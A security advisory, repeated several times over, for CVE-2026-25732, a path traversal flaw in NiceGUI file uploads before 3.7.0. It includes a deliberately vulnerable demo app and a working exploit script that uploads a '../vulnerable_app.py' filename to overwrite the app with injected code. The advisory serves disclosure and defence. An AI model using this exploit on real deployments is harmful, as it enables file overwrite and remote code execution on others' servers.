CVE-2026-25732

NiceGUI is a Python-based UI framework. Prior to 3.7.0, NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns. Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected. This vulnerability is fixed in 3.7.0.

NiceGUI is a Python-based UI framework. Prior to 3.7.0, NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns. Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected. This vulnerability is fixed in 3.7.0.

Summary

NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.

Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.

Details

Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)

Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()

async def save(self, path: str | Path) -> None:
    target = Path(path)
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Root Cause: The save() method performs no validation on the provided path parameter. It accepts:

• Relative paths with ../ sequences
• Absolute paths
• Any file system location writable by the process

When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:

save_path = UPLOAD_DIR / e.file.name  # e.file.name = "../app.py"
await e.file.save(save_path)           # Writes outside UPLOAD_DIR

PoC

• Terminal 1 (App)

cd /tmp && mkdir -p evilgui && cd evilgui
python3 -m venv evilgui && source evilgui/bin/activate
pip install nicegui

cat > vulnerable_app.py << 'EOF'
from nicegui import ui
from pathlib import Path

UPLOAD_DIR = Path('./uploads')
UPLOAD_DIR.mkdir(exist_ok=True)

@ui.page('/')
def index():
    async def handle_upload(e):
        save_path = UPLOAD_DIR / e.file.name
        await e.file.save(save_path)
        ui.notify(f'File saved: {e.file.name}')
    
    ui.upload(on_upload=handle_upload, auto_upload=True)

ui.run(port=8080, reload=False)
EOF

python3 vulnerable_app.py &

• Terminal 2 (Exploit)

cat > exploit.py << 'EOF'
import requests, re, time

s = requests.Session()
s.get('http://localhost:8080')
time.sleep(2)

html = s.get('http://localhost:8080').text
match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'

payload = '''from nicegui import ui
import subprocess
@ui.page("/")
def index():
    ui.label(subprocess.check_output(["id"], text=True))
ui.run(port=8080, reload=False)
'''

s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})
EOF

python3 exploit.py

• Restart the application to execute the injected code:

pkill -f vulnerable_app && python3 vulnerable_app.py

• Observe http://localhost:8080

Impact

Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.

Attack Capabilities:

• Write files to any location writable by the application process
• Overwrite Python application files to achieve remote code execution upon restart
• Overwrite configuration files to alter application behavior
• Write SSH keys, systemd units, or cron jobs for persistent access
• Deny service by corrupting critical files

Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as…

NiceGUI is a Python-based UI framework. Prior to 3.7.0, NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns. Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected. This vulnerability is fixed in 3.7.0.

NiceGUI is a Python-based UI framework. Prior to 3.7.0, NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns. Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected. This vulnerability is fixed in 3.7.0.

Summary

NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.

Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.

Details

Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)

Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()

async def save(self, path: str | Path) -> None:
    target = Path(path)
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Root Cause: The save() method performs no validation on the provided path parameter. It accepts:

• Relative paths with ../ sequences
• Absolute paths
• Any file system location writable by the process

When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:

save_path = UPLOAD_DIR / e.file.name  # e.file.name = "../app.py"
await e.file.save(save_path)           # Writes outside UPLOAD_DIR

PoC

• Terminal 1 (App)

cd /tmp && mkdir -p evilgui && cd evilgui
python3 -m venv evilgui && source evilgui/bin/activate
pip install nicegui

cat > vulnerable_app.py << 'EOF'
from nicegui import ui
from pathlib import Path

UPLOAD_DIR = Path('./uploads')
UPLOAD_DIR.mkdir(exist_ok=True)

@ui.page('/')
def index():
    async def handle_upload(e):
        save_path = UPLOAD_DIR / e.file.name
        await e.file.save(save_path)
        ui.notify(f'File saved: {e.file.name}')
    
    ui.upload(on_upload=handle_upload, auto_upload=True)

ui.run(port=8080, reload=False)
EOF

python3 vulnerable_app.py &

• Terminal 2 (Exploit)

cat > exploit.py << 'EOF'
import requests, re, time

s = requests.Session()
s.get('http://localhost:8080')
time.sleep(2)

html = s.get('http://localhost:8080').text
match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'

payload = '''from nicegui import ui
import subprocess
@ui.page("/")
def index():
    ui.label(subprocess.check_output(["id"], text=True))
ui.run(port=8080, reload=False)
'''

s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})
EOF

python3 exploit.py

• Restart the application to execute the injected code:

pkill -f vulnerable_app && python3 vulnerable_app.py

• Observe http://localhost:8080

Impact

Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.

Attack Capabilities:

• Write files to any location writable by the application process
• Overwrite Python application files to achieve remote code execution upon restart
• Overwrite configuration files to alter application behavior
• Write SSH keys, systemd units, or cron jobs for persistent access
• Deny service by corrupting critical files

Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as…

NiceGUI is a Python-based UI framework. Prior to 3.7.0, NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns. Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected. This vulnerability is fixed in 3.7.0.